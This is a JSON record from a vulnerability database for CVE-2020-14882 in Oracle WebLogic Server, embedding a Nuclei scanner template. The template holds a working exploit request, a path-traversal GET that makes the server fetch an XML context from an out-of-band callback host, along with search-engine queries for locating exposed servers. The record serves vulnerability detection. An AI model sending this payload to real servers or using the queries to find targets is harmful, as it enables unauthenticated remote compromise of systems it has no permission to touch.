{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2020-14882/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2020-14882/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2020-14882/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2020-14882/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2020-14882/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2020-14882"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2020-14882"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2020/CVE-2020-14882.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2020-14882\n\ninfo:\n  name: Oracle Weblogic Server - Remote Command Execution\n  author: dwisiswant0\n  severity: critical\n  description: Oracle WebLogic Server contains an easily exploitable remote command execution vulnerability which allows unauthenticated attackers with network access via HTTP to compromise the server.\n  impact: |\n    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the affected application.\n  remediation: |\n    Apply the latest security patches provided by Oracle to fix the vulnerability.\n  reference:\n    - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf\n    - https://www.oracle.com/security-alerts/cpuoct2020.html\n    - https://twitter.com/jas502n/status/1321416053050667009\n    - https://youtu.be/JFVDOIL0YtA\n    - https://github.com/jas502n/CVE-2020-14882#eg\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-14882\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-14882\n    epss-score: 0.99997\n    epss-percentile: 0.9999\n    cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: oracle\n    product: weblogic_server\n    shodan-query:\n      - http.title:\"oracle peoplesoft sign-in\"\n      - product:\"oracle weblogic\"\n    fofa-query: title=\"oracle peoplesoft sign-in\"\n    google-query: intitle:\"oracle peoplesoft sign-in\"\n  tags: cve2020,cve,oracle,rce,weblogic,oast,kev,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext('http://{{interactsh-url}}')\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"ADMINCONSOLESESSION\"\n\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n# digest: 4a0a00473045022100e36e8ddfc1fa58d185f9eb67a40b2f0b0445484779b445b5f4d40b75a2acf7d6022056322fcdd72535d47d32dd49ff355260e05293d1bb89b9068dc7f33a15165f12:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2020-14882"
}